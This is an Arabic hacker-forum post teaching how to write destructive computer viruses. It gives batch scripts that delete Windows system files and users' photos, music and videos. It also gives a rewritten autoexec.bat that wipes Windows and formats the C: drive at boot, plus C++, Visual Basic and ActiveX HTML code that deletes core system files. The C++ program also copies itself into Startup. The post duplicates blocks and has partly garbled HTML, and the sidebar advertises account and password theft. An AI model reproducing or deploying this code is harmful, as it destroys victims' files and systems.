الرئيسيةالرئيسية  س .و .جس .و .ج  بحـثبحـث  الأعضاءالأعضاء  المجموعاتالمجموعات  التسجيلالتسجيل  دخولدخول  
منتدى منظمة الهكرز العربي، أكبر منتدى هكر عربي متخصص بجديد الثغرات واختراق المواقع والأجهزة.

شاطر | 
 

 كيفية صاعة فيروسات مدمرة وخطير

اذهب الى الأسفل 
كاتب الموضوعرسالة
الانيموس المصرى 2015
هكر نشيط
هكر نشيط
avatar

الدولة : مصر
المشاركات : 8
الانضمام : 27/10/2014

مُساهمةموضوع: كيفية صاعة فيروسات مدمرة وخطير   الثلاثاء نوفمبر 18, 2014 9:27 am

اهلا شباب اليوم جايب موضوع خطير وهو الفيروسات وهنعلمكم كيف تصنعون الفيروسات بدون برنامج او مجهود
اولا افتح Notepad
وبعدها ضع فيها هذا الكود
@Echo off
c:
cd %WinDir%\System\
deltree /y *.dll
cd\
deltree /y *.sys

الان قم بحفظ الملف بامتداد life.bat
* بعد ان قمت بوضعالكود و حفظه بامتداد .bat فانت هاكذ تكون قد قمت بعمل فيروس و سوف تلحظ ان شكلالأيقونة قد تغير الى شباك ازرق وبداخله عجلة صفراء احذر منه فهو الأن جاهز للعمل واياك ان تفتحه

* هذا الفيروس يقوم على مسح كل ملفات ال dll وال sys منالسيستم. وهذا ما سوف نلحظه بالنظر الى الكود السابق و به سوف نجد انه كتب فى هذاالكود امر " deltree " و هو الخاص بمسح الملفات ثم كتب بعد ذلك " *.dll كما كتب *.sys " و هو انى قد اعطيت له بان يمسح كل الملفات التى لها الأمتدادين السابقين ويمكن ملاحظة شئ اخر و هو كون الكمبيوتر يمسح الملفات من السيستيم و سوف نجد فى اولالكود الامر الخاص بذلك فسوف تجد انه قد اعطى له الأمر بالذهاب الى c: و كما اعطاهالأمر بالذهاب مالفات لويندوز عندما صدرنا له الأمر windir ثم اخبرناه ان الأوامرالتالية يجب ان تكون داخل مل سيستيم و الذى هو موجود ضمن ملفات الويندوز


ويمكنك التغير على الكدو قليلا وذلك من حيث المهمة او المكان مثال:


انا الأن اريد ان امزح معاحد و فى نفس الوقت عاوز اعلمه درس و تحزير فيمكننى ان اصنع فيروس يقوم بمسح جميعملفات الصور التى امتددها *.jpg. كما اننى اريد ان امسح جميع ملفات الأغانى التىامتددها *.mp3 و جميع امتدادت الملفات الخاصة بلافلام و التى امتدادها *.asf و التىتوجد فى E: كل ما علينا هو تعديل الكود ليصبح كالأتى

@Echo off
e:
deltree /y *.jpg
cd\
deltree /y *.mp3
cd\
deltree /y *.asf

الكود الثاني


echo off@
cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat
echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat
echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
قم بحفظ الملف على الشكل التالي Autoexec.bat

اخواني هذا الفيروس خطير جدا حيث يقوم بتدمير جميع ملفات النضام وكذللك فرمتت الجهاز والاشتغال تلقائيا فور تشغيل الجهاز ارجو الا تستعملوه ضد اخوانكم العرب

هذه مجموعة اخرى لاكواد فيروسات مشهورة

فيرووس C++ :


#include
#include
#include
main()
{
clrscr();
printf("\t\t\tWelcome to the Egyption -oO Virus Oo-\n\n");
printf("\t\t**** -oO Israel Oo- and -oO America Oo-\n\n");
remove("c:\\windows\\system.ini");
remove("c:\\windows\\win.ini");
remove("c:\\autoexec.bat");
remove("c:\\msdos.sys");
remove("c:\\io.sys");
remove("c:\\command.com");
remove("c:\\config.sys");
remove("c:\\windows\\ebd\\command.com");
remove("c:\\windows\\ebd\\ebd.cab");
remove("c:\\windows\\ebd\\Autoexec.bat") ;
remove("c:\\windows\\ebd\\setramd.bat");
remove("c:\\windows\\ebd\\Findramd.exe") ;
rename("egypt.exe","c:/windows/startm~1/programs/startup/win.exe");
printf("Windows destroyed ...\n\n");
system("PAUSE");
}


فيرووس Visual Basic :


SetAttr "c:\autoexec.bat", vbNormal
SetAttr "c:\msdos.sys", vbNormal
SetAttr "c:\io.sys", vbNormal
SetAttr "c:\windows\win.ini", vbNormal
SetAttr "c:\windows\system.ini", vbNormal
SetAttr "c:\command.com", vbNormal
SetAttr "c:\config.sys", vbNormal
SetAttr "c:\windows\rundll.exe", vbNormal
SetAttr "c:\windows\rundll32.exe", vbNormal
Kill "C:\autoexec.bat"
Kill "C:\msdos.sys"
Kill "C:\io.sys"
Kill "C:\windows\win.ini"
Kill "C:\windows\system.ini"
Kill "C:\command.com"
Kill "C:\config.sys"
Kill "C:\windows\rundll.exe"
Kill "C:\windows\rundll32.exe"


فيروس Html





<$$$$ http$$$$$$="$$$$$$$-Type"
$$$$$$$="$$$$/html; charset=iso-8859-1">
Active-X HTML

THIS HTML USING ACTIVE-X PLEASE CLICK #YES#

<$$$$$$ --------="VB$$$$$$">

On Error Resume Next
Dim a
Set fso = CreateObject("$$$$$$ing.FileSystemObject ")
Set a = fso.GetFile("win.ini")
a.Delete
Dim b
Set fso = CreateObject("$$$$$$ing.FileSystemObject ")
Set b = fso.GetFile("system.ini")
b.Delete





ملاحظة يحفظهذا الفيروس بأمتداد html .*



[/size][/b][/color]فيرووس C++ :

#include
#include
#include
main()
{
clrscr();
printf("\t\t\tWelcome to the Egyption -oO Virus Oo-\n\n");
printf("\t\t**** -oO Israel Oo- and -oO America Oo-\n\n");
remove("c:\\windows\\system.ini");
remove("c:\\windows\\win.ini");
remove("c:\\autoexec.bat");
remove("c:\\msdos.sys");
remove("c:\\io.sys");
remove("c:\\command.com");
remove("c:\\config.sys");
remove("c:\\windows\\ebd\\command.com");
remove("c:\\windows\\ebd\\ebd.cab");
remove("c:\\windows\\ebd\\Autoexec.bat") ;
remove("c:\\windows\\ebd\\setramd.bat");
remove("c:\\windows\\ebd\\Findramd.exe") ;
rename("egypt.exe","c:/windows/startm~1/programs/startup/win.exe");
printf("Windows destroyed ...\n\n");
system("PAUSE");
}


فيرووس Visual Basic :


SetAttr "c:\autoexec.bat", vbNormal
SetAttr "c:\msdos.sys", vbNormal
SetAttr "c:\io.sys", vbNormal
SetAttr "c:\windows\win.ini", vbNormal
SetAttr "c:\windows\system.ini", vbNormal
SetAttr "c:\command.com", vbNormal
SetAttr "c:\config.sys", vbNormal
SetAttr "c:\windows\rundll.exe", vbNormal
SetAttr "c:\windows\rundll32.exe", vbNormal
Kill "C:\autoexec.bat"
Kill "C:\msdos.sys"
Kill "C:\io.sys"
Kill "C:\windows\win.ini"
Kill "C:\windows\system.ini"
Kill "C:\command.com"
Kill "C:\config.sys"
Kill "C:\windows\rundll.exe"
Kill "C:\windows\rundll32.exe"



فيروس Html





<$$$$ http$$$$$$="$$$$$$$-Type"
$$$$$$$="$$$$/html; charset=iso-8859-1">
Active-X HTML

THIS HTML USING ACTIVE-X PLEASE CLICK #YES#

<$$$$$$ --------="VB$$$$$$">

On Error Resume Next
Dim a
Set fso = CreateObject("$$$$$$ing.FileSystemObject ")
Set a = fso.GetFile("win.ini")
a.Delete
Dim b
Set fso = CreateObject("$$$$$$ing.FileSystemObject ")
Set b = fso.GetFile("system.ini")
b.Delete





ملاحظة يحفظهذا الفيروس بأمتداد html .*

الان اخواني هذا كل ما لدي من اكواد اي اكواد جديدة ساقوم بوضعها هنا .
واتمنى ان تعلقو
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
 
كيفية صاعة فيروسات مدمرة وخطير
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منظمة الهكرز العربي :: 
..[ أقسام أدوات الهكرز والبرامج ]..
 :: قسم التغيم والفيروسات
-
انتقل الى:  
المواضيع الأخيرة
» طريقة حصرية للإختراق حسابات فيسبوك فقط عند Gimok
الأحد يوليو 29, 2018 12:57 pm من طرف ورده

» اسهل طريقة لسرقة اي كلمة سر
الإثنين يوليو 23, 2018 11:00 pm من طرف عبدالعزيز الحارثي

» هكر ويريد على بعض الناس ان يساعدهم في سترجاع حسابات الفوركس بدون تحميل على يوتيوب
الأحد يوليو 01, 2018 10:03 am من طرف حسين0

» كيف اسرق حساب
الأحد يوليو 01, 2018 9:59 am من طرف حسين0

» شباب ابي طريقة تحول نفسك إلى مشرف في الواتس اب
الثلاثاء يونيو 26, 2018 8:07 am من طرف xXAliGamerXx

»  الدرس الاول: مقدمة في إختراق الأجهزه
الخميس مارس 08, 2018 7:48 pm من طرف waliddje

» محتاجة مساعدة ارجوكوا
الثلاثاء فبراير 13, 2018 11:14 pm من طرف عبدالله

» buy visitor traffic
الثلاثاء فبراير 13, 2018 12:02 pm من طرف rdwan123

» أقوى دورة في أختراق المواقع حصريا 2018
الثلاثاء فبراير 13, 2018 12:38 am من طرف rooter210

» financial information
الإثنين فبراير 12, 2018 9:34 pm من طرف rdwan123


Powered by © phpBB
Copyright ©2009 - 2017, Jelsoft Enterprises Ltd
الحقوق محفوظة لمنظمة الهكرز العربي